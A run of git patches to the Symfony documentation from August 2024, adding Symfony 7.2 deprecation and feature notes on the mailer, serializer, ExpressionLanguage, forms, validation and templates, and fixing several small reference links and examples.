 ~~~~~~~~~~~~~~~~~~
@@ -1304,6 +1309,11 @@ you can use "context builders" to define the context using a fluent interface::
     You can also :doc:`create custom context builders </serializer/custom_context_builders>`
     to deal with your context values.
 
+.. deprecated:: 7.2
+
+    The ``CsvEncoderContextBuilder::withEscapeChar()`` method was deprecated
+    in Symfony 7.2.
+
 Skipping ``null`` Values
 ------------------------
 

From f39be7640c72c575da3320aa01ff3e7cca466660 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 19 Aug 2024 11:06:42 +0200
Subject: [PATCH 6294/7107] [FrameworkBundle][HttpFoundation] Deprecate
 `session.sid_length` and `session.sid_bits_per_character` config options

---
 reference/configuration/framework.rst | 8 ++++++++
 session.rst                           | 5 +++++
 2 files changed, 13 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0921fe9ac2e..72c4b1b94f7 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1874,6 +1874,10 @@ session IDs are harder to guess.
 
 If not set, ``php.ini``'s `session.sid_length`_ directive will be relied on.
 
+.. deprecated:: 7.2
+
+    The ``sid_length`` option was deprecated in Symfony 7.2.
+
 sid_bits_per_character
 ......................
 
@@ -1886,6 +1890,10 @@ most environments.
 
 If not set, ``php.ini``'s `session.sid_bits_per_character`_ directive will be relied on.
 
+.. deprecated:: 7.2
+
+    The ``sid_bits_per_character`` option was deprecated in Symfony 7.2.
+
 save_path
 .........
 
diff --git a/session.rst b/session.rst
index 29d1ba364d1..77aea3bba00 100644
--- a/session.rst
+++ b/session.rst
@@ -400,6 +400,11 @@ Check out the Symfony config reference to learn more about the other available
     ``session.auto_start = 1`` This directive should be turned off in
     ``php.ini``, in the web server directives or in ``.htaccess``.
 
+.. deprecated:: 7.2
+
+    The ``sid_length`` and ``sid_bits_per_character`` options were deprecated
+    in Symfony 7.2 and will be ignored in Symfony 8.0.
+
 The session cookie is also available in :ref:`the Response object <component-http-foundation-response>`.
 This is useful to get that cookie in the CLI context or when using PHP runners
 like Roadrunner or Swoole.

From 51fdaa869c908061f2fc355442a219c57bfc2f0a Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 20 Aug 2024 09:19:34 +0200
Subject: [PATCH 6295/7107] document the requests constructor argument of the
 RequestStack class

---
 components/form.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 7584d223032..f463ef5911b 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -123,8 +123,7 @@ The following snippet adds CSRF protection to the form factory::
     use Symfony\Component\Security\Csrf\TokenStorage\SessionTokenStorage;
 
     // creates a RequestStack object using the current request
-    $requestStack = new RequestStack();
-    $requestStack->push($request);
+    $requestStack = new RequestStack([$request]);
 
     $csrfGenerator = new UriSafeTokenGenerator();
     $csrfStorage = new SessionTokenStorage($requestStack);
@@ -135,6 +134,11 @@ The following snippet adds CSRF protection to the form factory::
         ->addExtension(new CsrfExtension($csrfManager))
         ->getFormFactory();
 
+.. versionadded:: 7.2
+
+    Support for passing requests to the constructor of the ``RequestStack``
+    class was introduced in Symfony 7.2.
+
 Internally, this extension will automatically add a hidden field to every
 form (called ``_token`` by default) whose value is automatically generated by
 the CSRF generator and validated when binding the form.

From bad2a212bf68bdfc6479765d2ecb4123677aee4e Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@protonmail.com>
Date: Tue, 20 Aug 2024 12:01:07 +0200
Subject: [PATCH 6296/7107] feat(mailer): Add Sweego Mailer doc

---
 mailer.rst  | 8 +++++++-
 webhook.rst | 3 ++-
 2 files changed, 9 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 11acd065e52..091e6d6e5b9 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -115,6 +115,7 @@ Service               Install with                                    Webhook su
 `Resend`_             ``composer require symfony/resend-mailer``      yes
 `Scaleway`_           ``composer require symfony/scaleway-mailer``
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``    yes
+`Sweego`_             ``composer require symfony/sweego-mailer``      yes
 ===================== =============================================== ===============
 
 .. versionadded:: 7.1
@@ -123,7 +124,7 @@ Service               Install with                                    Webhook su
 
 .. versionadded:: 7.2
 
-    The Mailomat and Postal integrations were introduced in Symfony 7.2.
+    The Mailomat, Postal and Sweego integrations were introduced in Symfony 7.2.
 
 .. note::
 
@@ -235,6 +236,10 @@ party provider:
 |                        | - HTTP n/a                                              |
 |                        | - API ``sendgrid+api://KEY@default``                    |
 +------------------------+---------------------------------------------------------+
+| `Sweego`_              | - SMTP ``sweego+smtp://LOGIN:PASSWORD@HOST:PORT``       |
+|                        | - HTTP n/a                                              |
+|                        | - API ``sweego+api://API_KEY@default``                  |
++------------------------+---------------------------------------------------------+
 
 .. caution::
 
@@ -2004,3 +2009,4 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
 .. _`Scaleway`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Scaleway/README.md
 .. _`SendGrid`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sendgrid/README.md
+.. _`Sweego`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sweego/README.md
diff --git a/webhook.rst b/webhook.rst
index 52633ae83e5..176abc49cd2 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -31,6 +31,7 @@ Mailomat       ``mailer.webhook.request_parser.mailomat``
 Postmark       ``mailer.webhook.request_parser.postmark``
 Resend         ``mailer.webhook.request_parser.resend``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
+Sweego         ``mailer.webhook.request_parser.sweego``
 ============== ============================================
 
 .. versionadded:: 7.1
@@ -39,7 +40,7 @@ Sendgrid       ``mailer.webhook.request_parser.sendgrid``
 
 .. versionadded:: 7.2
 
-    The ``Mailomat`` integration was introduced in Symfony 7.2.
+    The ``Mailomat`` and ``Sweego`` integrations were introduced in Symfony 7.2.
 
 .. note::
 

From 24076368c63d871ce07dd0b607fa539d6d79f6ea Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Tue, 20 Aug 2024 18:48:30 -0300
Subject: [PATCH 6297/7107] Fix `:ref:` links

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 7e26cb9b4da..4cfa6778279 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -747,7 +747,7 @@ If you use the Redis Transport, note that each worker needs a unique consumer
 name to avoid the same message being handled by multiple workers. One way to
 achieve this is to set an environment variable in the Supervisor configuration
 file, which you can then refer to in ``messenger.yaml``
-(see the ref:`Redis section <messenger-redis-transport>` below):
+(see the :ref:`Redis section <messenger-redis-transport>` below):
 
 .. code-block:: ini
 

From 309141a964efebc66a6cf3de939cf89e19ea3ad8 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Wed, 21 Aug 2024 15:30:49 +0200
Subject: [PATCH 6298/7107] [Config] Match Yaml configuration and Tree

---
 components/config/definition.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 437c93322d6..c076838d1f9 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -81,7 +81,7 @@ reflect the real structure of the configuration values::
                 ->defaultTrue()
             ->end()
             ->scalarNode('default_connection')
-                ->defaultValue('default')
+                ->defaultValue('mysql')
             ->end()
         ->end()
     ;

From 84da11cd0affbf26ba61eaaa02015f1b0c85854e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 20 Aug 2024 14:46:44 +0200
Subject: [PATCH 6299/7107] [HttpFoundation] Add new parameters to
 `IpUtils::anonymize()`

---
 components/http_foundation.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 6c9210b894f..2cdd5a02702 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -362,6 +362,23 @@ analysis purposes. Use the ``anonymize()`` method from the
     $anonymousIpv6 = IpUtils::anonymize($ipv6);
     // $anonymousIpv6 = '2a01:198:603:10::'
 
+If you need even more anonymization, you can use the second and third parameters
+of the ``anonymize()`` method to specify the number of bytes that should be
+anonymized depending on the IP address format::
+
+    $ipv4 = '123.234.235.236';
+    $anonymousIpv4 = IpUtils::anonymize($ipv4, v4Bytes: 3);
+    // $anonymousIpv4 = '123.0.0.0'
+
+    $ipv6 = '2a01:198:603:10:396e:4789:8e99:890f';
+    $anonymousIpv6 = IpUtils::anonymize($ipv6, v6Bytes: 10);
+    // $anonymousIpv6 = '2a01:198:603::'
+
+.. versionadded:: 7.2
+
+    The ``v4Bytes`` and ``v6Bytes`` parameters of the ``anonymize()`` method
+    were introduced in Symfony 7.2.
+
 Check If an IP Belongs to a CIDR Subnet
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 3ee2daea7a4852f49c52d12812b233ae5a65f014 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 22 Aug 2024 09:19:19 +0200
Subject: [PATCH 6300/7107] fix ref syntax

---
 components/expression_language.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index 46795b18b66..eeababaf373 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -82,7 +82,7 @@ Null Coalescing Operator
 
 .. note::
 
-    This content has been moved to the ref:`null coalescing operator <component-expression-null-coalescing-operator>`_
+    This content has been moved to the :ref:`null coalescing operator <component-expression-null-coalescing-operator>`
     section of ExpressionLanguage syntax reference page.
 
 Parsing and Linting Expressions

From d00645a6062158478477d9df5324d90bae3b6502 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 22 Aug 2024 09:45:19 +0200
Subject: [PATCH 6301/7107] [Form] Add support for the `calendar` option in
 `DateType`

---
 reference/forms/types/date.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 515c12099a1..f9c6d67a70d 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -155,6 +155,19 @@ values for the year, month and day fields::
 
 .. include:: /reference/forms/types/options/view_timezone.rst.inc
 
+``calendar``
+~~~~~~~~~~~~
+
+**type**: ``\IntlCalendar`` **default**: ``null``
+
+The calendar to use for formatting and parsing the date. The value should be
+an instance of the :phpclass:`IntlCalendar` to use. By default, the Gregorian
+calendar with the application default locale is used.
+
+.. versionadded:: 7.2
+
+    The ``calendar`` option was introduced in Symfony 7.2.
+
 .. include:: /reference/forms/types/options/date_widget.rst.inc
 
 .. include:: /reference/forms/types/options/years.rst.inc

From 301087b90eb6c04d7cc8a19d1f07a6bb28ac6f1f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 22 Aug 2024 13:39:17 +0200
Subject: [PATCH 6302/7107] complete list of support content types

---
 reference/configuration/security.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 771054d9d12..cf1f16b3c21 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -350,10 +350,10 @@ form_only
 **type**: ``boolean`` **default**: ``false``
 
 Set this option to ``true`` to require that the login data is sent using a form
-(it checks that the request content-type is ``application/x-www-form-urlencoded``).
-This is useful for example to prevent the :ref:`form login authenticator <security-form-login>`
-from responding to requests that should be handled by the
-:ref:`JSON login authenticator <security-json-login>`.
+(it checks that the request content-type is ``application/x-www-form-urlencoded``
+or ``multipart/form-data``) This is useful for example to prevent the.
+:ref:`form login authenticator <security-form-login>` from responding to
+requests that should be handled by the :ref:`JSON login authenticator <security-json-login>`.
 
 .. versionadded:: 5.4
 

From acaba63ebe173a6fd689caa5603e5b3098a5375c Mon Sep 17 00:00:00 2001
From: lkolndeep <lkolndeep@protonmail.com>
Date: Thu, 22 Aug 2024 19:45:49 +0200
Subject: [PATCH 6303/7107] [Serializer] Correction of examples using the
 attributes groups

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index bbf31afacf8..03822eb4a68 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -404,7 +404,7 @@ You are now able to serialize only attributes in the groups you want::
 
     $obj2 = $serializer->denormalize(
         ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
-        'MyObj',
+        MyObj::class,
         null,
         ['groups' => ['group1', 'group3']]
     );
@@ -413,7 +413,7 @@ You are now able to serialize only attributes in the groups you want::
     // To get all groups, use the special value `*` in `groups`
     $obj3 = $serializer->denormalize(
         ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
-        'MyObj',
+        MyObj::class,
         null,
         ['groups' => ['*']]
     );

From 429e193a40e93a3e521479aa1cc404c0b84c9df1 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 23 Aug 2024 09:30:27 +0200
Subject: [PATCH 6304/7107] [ExpressionLanguage] Add support for `<<`, `>>`,
 and `~` bitwise operators

---
 reference/formats/expression_language.rst | 72 +++++++++++++----------
 1 file changed, 40 insertions(+), 32 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index e88ac7f6c24..ec592461a4f 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -284,6 +284,14 @@ Bitwise Operators
 * ``&`` (and)
 * ``|`` (or)
 * ``^`` (xor)
+* ``~`` (not)
+* ``<<`` (left shift)
+* ``>>`` (right shift)
+
+.. versionadded:: 7.2
+
+    Support for the ``~``, ``<<`` and ``>>`` bitwise operators was introduced
+    in Symfony 7.2.
 
 Comparison Operators
 ~~~~~~~~~~~~~~~~~~~~
@@ -449,38 +457,38 @@ parentheses in your expressions (e.g. ``(1 + 2) * 4`` or ``1 + (2 * 4)``.
 The following table summarizes the operators and their associativity from the
 **highest to the lowest precedence**:
 
-+----------------------------------------------------------+---------------+
-| Operators                                                | Associativity |
-+==========================================================+===============+
-| ``-`` , ``+`` (unary operators that add the number sign) | none          |
-+----------------------------------------------------------+---------------+
-| ``**``                                                   | right         |
-+----------------------------------------------------------+---------------+
-| ``*``, ``/``, ``%``                                      | left          |
-+----------------------------------------------------------+---------------+
-| ``not``, ``!``                                           | none          |
-+----------------------------------------------------------+---------------+
-| ``~``                                                    | left          |
-+----------------------------------------------------------+---------------+
-| ``+``, ``-``                                             | left          |
-+----------------------------------------------------------+---------------+
-| ``..``                                                   | left          |
-+----------------------------------------------------------+---------------+
-| ``==``, ``===``, ``!=``, ``!==``,                        | left          |
-| ``<``, ``>``, ``>=``, ``<=``,                            |               |
-| ``not in``, ``in``, ``contains``,                        |               |
-| ``starts with``, ``ends with``, ``matches``              |               |
-+----------------------------------------------------------+---------------+
-| ``&``                                                    | left          |
-+----------------------------------------------------------+---------------+
-| ``^``                                                    | left          |
-+----------------------------------------------------------+---------------+
-| ``|``                                                    | left          |
-+----------------------------------------------------------+---------------+
-| ``and``, ``&&``                                          | left          |
-+----------------------------------------------------------+---------------+
-| ``or``, ``||``                                           | left          |
-+----------------------------------------------------------+---------------+
++-----------------------------------------------------------------+---------------+
+| Operators                                                       | Associativity |
++=================================================================+===============+
+| ``-`` , ``+``, ``~`` (unary operators that add the number sign) | none          |
++-----------------------------------------------------------------+---------------+
+| ``**``                                                          | right         |
++-----------------------------------------------------------------+---------------+
+| ``*``, ``/``, ``%``                                             | left          |
++-----------------------------------------------------------------+---------------+
+| ``not``, ``!``                                                  | none          |
++-----------------------------------------------------------------+---------------+
+| ``~``                                                           | left          |
++-----------------------------------------------------------------+---------------+
+| ``+``, ``-``                                                    | left          |
++-----------------------------------------------------------------+---------------+
+| ``..``, ``<<``, ``>>``                                          | left          |
++-----------------------------------------------------------------+---------------+
+| ``==``, ``===``, ``!=``, ``!==``,                               | left          |
+| ``<``, ``>``, ``>=``, ``<=``,                                   |               |
+| ``not in``, ``in``, ``contains``,                               |               |
+| ``starts with``, ``ends with``, ``matches``                     |               |
++-----------------------------------------------------------------+---------------+
+| ``&``                                                           | left          |
++-----------------------------------------------------------------+---------------+
+| ``^``                                                           | left          |
++-----------------------------------------------------------------+---------------+
+| ``|``                                                           | left          |
++-----------------------------------------------------------------+---------------+
+| ``and``, ``&&``                                                 | left          |
++-----------------------------------------------------------------+---------------+
+| ``or``, ``||``                                                  | left          |
++-----------------------------------------------------------------+---------------+
 
 Built-in Objects and Variables
 ------------------------------

From 5203772b4e048560165a06428b8b5062cfe2a66d Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 22 Aug 2024 07:54:34 +0200
Subject: [PATCH 6305/7107] [Translation] Add labels for links in translations
 page

---
 translation.rst | 31 ++++++++++++++++---------------
 1 file changed, 16 insertions(+), 15 deletions(-)

diff --git a/translation.rst b/translation.rst
index 1d43c3b2b1c..15c34460d86 100644
--- a/translation.rst
+++ b/translation.rst
@@ -33,8 +33,8 @@ The translation process has several steps:
 #. :ref:`Enable and configure <translation-configuration>` Symfony's
    translation service;
 
-#. Abstract strings (i.e. "messages") by wrapping them in calls to the
-   ``Translator`` (":ref:`translation-basic`");
+#. Abstract strings (i.e. "messages") by :ref:`wrapping them in calls
+   <translation-basic>` to the ``Translator``;
 
 #. :ref:`Create translation resources/files <translation-resources>`
    for each supported locale that translate each message in the application;
@@ -164,8 +164,8 @@ different formats:
             'Symfony is great' => "J'aime Symfony",
         ];
 
-For information on where these files should be located, see
-:ref:`translation-resource-locations`.
+You can find more information on where these files
+:ref:`should be located <translation-resource-locations>`.
 
 Now, if the language of the user's locale is French (e.g. ``fr_FR`` or ``fr_BE``),
 the message will be translated into ``J'aime Symfony``. You can also translate
@@ -251,8 +251,8 @@ To actually translate the message, Symfony uses the following process when
 using the ``trans()`` method:
 
 #. The ``locale`` of the current user, which is stored on the request is
-   determined; this is typically set via a ``_locale`` attribute on your routes
-   (see :ref:`translation-locale-url`);
+   determined; this is typically set via a ``_locale`` :ref:`attribute on
+   your routes <translation-locale-url>`;
 
 #. A catalog of translated messages is loaded from translation resources
    defined for the ``locale`` (e.g. ``fr_FR``). Messages from the
@@ -452,8 +452,8 @@ The ``translation:extract`` command looks for missing translations in:
 * Any PHP file/class that injects or :doc:`autowires </service_container/autowiring>`
   the ``translator`` service and makes calls to the ``trans()`` method.
 * Any PHP file/class stored in the ``src/`` directory that creates
-  :ref:`translatable-objects` using the constructor or the ``t()`` method or calls
-  the ``trans()`` method.
+  :ref:`translatable objects <translatable-objects>` using the constructor or
+  the ``t()`` method or calls the ``trans()`` method.
 
 .. versionadded:: 5.3
 
@@ -1054,10 +1054,10 @@ unused translation messages templates:
 .. caution::
 
     The extractors can't find messages translated outside templates (like form
-    labels or controllers) unless using :ref:`translatable-objects` or calling
-    the ``trans()`` method on a translator (since Symfony 5.3). Dynamic
-    translations using variables or expressions in templates are not
-    detected either:
+    labels or controllers) unless using :ref:`translatable objects
+    <translatable-objects>` or calling the ``trans()`` method on a translator
+    (since Symfony 5.3). Dynamic translations using variables or expressions in
+    templates are not detected either:
 
     .. code-block:: twig
 
@@ -1066,9 +1066,10 @@ unused translation messages templates:
         {{ message|trans }}
 
 Suppose your application's default_locale is ``fr`` and you have configured
-``en`` as the fallback locale (see :ref:`translation-configuration` and
-:ref:`translation-fallback` for how to configure these). And suppose
-you've already setup some translations for the ``fr`` locale:
+``en`` as the fallback locale (see :ref:`configuration
+<translation-configuration>` and :ref:`fallback <translation-fallback>` for
+how to configure these). And suppose you've already set up some translations
+for the ``fr`` locale:
 
 .. configuration-block::
 

From cba78d5114c8f0827908cea675f399ae863f5d9a Mon Sep 17 00:00:00 2001
From: eltharin <eltharin18@hotmail.fr>
Date: Thu, 22 Aug 2024 11:41:58 +0200
Subject: [PATCH 6306/7107] just nullable

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 0e8af7814f3..43ed69f3307 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1500,7 +1500,7 @@ having unique identifiers::
 
     $encoder = new JsonEncoder();
     $defaultContext = [
-        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, string $format, array $context): string {
+        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, ?string $format, array $context): string {
             return $object->getName();
         },
     ];

From fae9a57bfacff5a4aeb0ec105d605c63180bd8d8 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Fri, 23 Aug 2024 12:06:09 -0400
Subject: [PATCH 6307/7107] adding missing 'private'

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 7e1b9a47381..1928dd29035 100644
--- a/security.rst
+++ b/security.rst
@@ -2620,7 +2620,7 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
       class SalesReportManager
       {
     +     public function __construct(
-    +         Security $security,
+    +         private Security $security,
     +     ) {
     +     }
 

From 3362875c29f4d30d462ed338438e284c044e9e17 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 09:05:45 +0200
Subject: [PATCH 6308/7107] Minor reword

---
 controller.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller.rst b/controller.rst
index 3194b6e46e4..d4f7f99d43d 100644
--- a/controller.rst
+++ b/controller.rst
@@ -178,8 +178,8 @@ These are used for rendering templates, sending emails, querying the database an
 any other "work" you can think of.
 
 If you need a service in a controller, type-hint an argument with its class
-(or interface) name. Symfony will automatically pass you the service you need.
-Make sure your :doc:`controller is registered as a service </controller/service>`::
+(or interface) name and Symfony will inject it automatically. This requires
+your :doc:`controller to be registered as a service </controller/service>`::
 
     use Psr\Log\LoggerInterface;
     use Symfony\Component\HttpFoundation\Response;

From d883d5659dab11da2ad39be9a380551f74682e38 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Fri, 23 Aug 2024 00:39:01 +0200
Subject: [PATCH 6309/7107] [Templating] [Template] Render a block with the
 `#[Template]` attribute

---
 templates.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/templates.rst b/templates.rst
index 795ac3a7ac3..1af3de56c5b 100644
--- a/templates.rst
+++ b/templates.rst
@@ -632,6 +632,31 @@ This might come handy when dealing with blocks in
 :ref:`templates inheritance <template_inheritance-layouts>` or when using
 `Turbo Streams`_.
 
+Similarly, you can use the ``#[Template]`` attribute on the controller to specify a block
+to render::
+
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use Symfony\Bridge\Twig\Attribute\Template;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+
+    class ProductController extends AbstractController
+    {
+        #[Template('product.html.twig', block: 'price_block')]
+        public function price(): array
+        {
+            return [
+                // ...
+            ];
+        }
+    }
+
+.. versionadded:: 7.2
+
+    The ``#[Template]`` attribute's ``block`` argument was introduced in Symfony 7.2.
+
 Rendering a Template in Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From d158b5544cb173ea520724e56df2a1ba1c8c84c0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 09:19:25 +0200
Subject: [PATCH 6310/7107] Minor tweak

---
 templates.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/templates.rst b/templates.rst
index 1af3de56c5b..2379a3568dc 100644
--- a/templates.rst
+++ b/templates.rst
@@ -632,8 +632,8 @@ This might come handy when dealing with blocks in
 :ref:`templates inheritance <template_inheritance-layouts>` or when using
 `Turbo Streams`_.
 
-Similarly, you can use the ``#[Template]`` attribute on the controller to specify a block
-to render::
+Similarly, you can use the ``#[Template]`` attribute on the controller to specify
+a block to render::
 
     // src/Controller/ProductController.php
     namespace App\Controller;

From d0f46a2ec6a29366c1745a29700ce0c18b12b47a Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 26 Aug 2024 09:32:13 +0200
Subject: [PATCH 6311/7107] add missing use statement

---
 components/serializer.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 03822eb4a68..43bcc240e57 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -388,6 +388,7 @@ Then, create your groups definition:
 
 You are now able to serialize only attributes in the groups you want::
 
+    use Acme\MyObj;
     use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
     use Symfony\Component\Serializer\Serializer;
 

From bec9e5faa881623aa75a03a78212315f44799a43 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 22 Aug 2024 14:16:06 +0200
Subject: [PATCH 6312/7107] [Validator] Add `CompoundConstraintTestCase` to
 ease testing Compound Constraints

---
 validation/custom_constraint.rst | 74 ++++++++++++++++++++++++++++++++
 1 file changed, 74 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 9f0ca4ca07b..4504ceb4012 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -502,6 +502,9 @@ A class constraint validator must be applied to the class itself:
 Testing Custom Constraints
 --------------------------
 
+Atomic Constraints
+~~~~~~~~~~~~~~~~~~
+
 Use the :class:`Symfony\\Component\\Validator\\Test\\ConstraintValidatorTestCase`
 class to simplify writing unit tests for your custom constraints::
 
@@ -545,3 +548,74 @@ class to simplify writing unit tests for your custom constraints::
             // ...
         }
     }
+
+Compound Constraints
+~~~~~~~~~~~~~~~~~~~~
+
+Let's say you create a compound constraint that checks if a string meets
+your minimum requirements for your password policy::
+
+    // src/Validator/PasswordRequirements.php
+    namespace App\Validator;
+
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    #[\Attribute]
+    class PasswordRequirements extends Assert\Compound
+    {
+        protected function getConstraints(array $options): array
+        {
+            return [
+                new Assert\NotBlank(allowNull: false),
+                new Assert\Length(min: 8, max: 255),
+                new Assert\NotCompromisedPassword(),
+                new Assert\Type('string'),
+                new Assert\Regex('/[A-Z]+/'),
+            ];
+        }
+    }
+
+You can use the :class:`Symfony\\Component\\Validator\\Test\\CompoundConstraintTestCase`
+class to check precisely which of the constraints failed to pass::
+
+    // tests/Validator/PasswordRequirementsTest.php
+    namespace App\Tests\Validator;
+
+    use App\Validator\PasswordRequirements;
+    use Symfony\Component\Validator\Constraints as Assert;
+    use Symfony\Component\Validator\Test\CompoundConstraintTestCase;
+
+    /**
+     * @extends CompoundConstraintTestCase<PasswordRequirements>
+     */
+    class PasswordRequirementsTest extends CompoundConstraintTestCase
+    {
+        public function createCompound(): Assert\Compound
+        {
+            return new PasswordRequirements();
+        }
+
+        public function testInvalidPassword(): void
+        {
+            $this->validateValue('azerty123');
+
+            // check all constraints pass except for the
+            // password leak and the uppercase letter checks
+            $this->assertViolationsRaisedByCompound([
+                new Assert\NotCompromisedPassword(),
+                new Assert\Regex('/[A-Z]+/'),
+            ]);
+        }
+
+        public function testValid(): void
+        {
+            $this->validateValue('VERYSTR0NGP4$$WORD#%!');
+
+            $this->assertNoViolation();
+        }
+    }
+
+.. versionadded:: 7.2
+
+    The :class:`Symfony\\Component\\Validator\\Test\\CompoundConstraintTestCase`
+    class was introduced in Symfony 7.2.

From 3f0fdbad1f95f056c576e2d34f1576c4fe27c720 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 10:21:56 +0200
Subject: [PATCH 6313/7107] Tweaks

---
 reference/constraints/Week.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/reference/constraints/Week.rst b/reference/constraints/Week.rst
index 0aea71bee02..26d82777636 100644
--- a/reference/constraints/Week.rst
+++ b/reference/constraints/Week.rst
@@ -5,10 +5,9 @@ Week
 
     The ``Week`` constraint was introduced in Symfony 7.2.
 
-Validates that a string (or an object implementing the ``Stringable`` PHP interface)
-matches a given week number. The week number format is defined by `ISO-8601`_
-and should be composed of the year and the week number, separated by a hyphen
-(e.g. ``2022-W01``).
+Validates that a given string (or an object implementing the ``Stringable`` PHP
+interface) represents a valid week number according to the `ISO-8601`_ standard
+(e.g. ``2025-W01``).
 
 ==========  =======================================================================
 Applies to  :ref:`property or method <validation-property-target>`
@@ -87,10 +86,11 @@ the following:
             }
         }
 
-.. note::
-
-    The constraint also checks that the given week exists in the calendar. For example,
-    ``2022-W53`` is not a valid week number for 2022, because 2022 only had 52 weeks.
+This constraint not only checks that the value matches the week number pattern,
+but it also verifies that the specified week actually exists in the calendar.
+According to the ISO-8601 standard, years can have either 52 or 53 weeks. For example,
+``2022-W53`` is not a valid because 2022 only had 52 weeks; but ``2020-W53`` is
+valid because 2020 had 53 weeks.
 
 Options
 -------
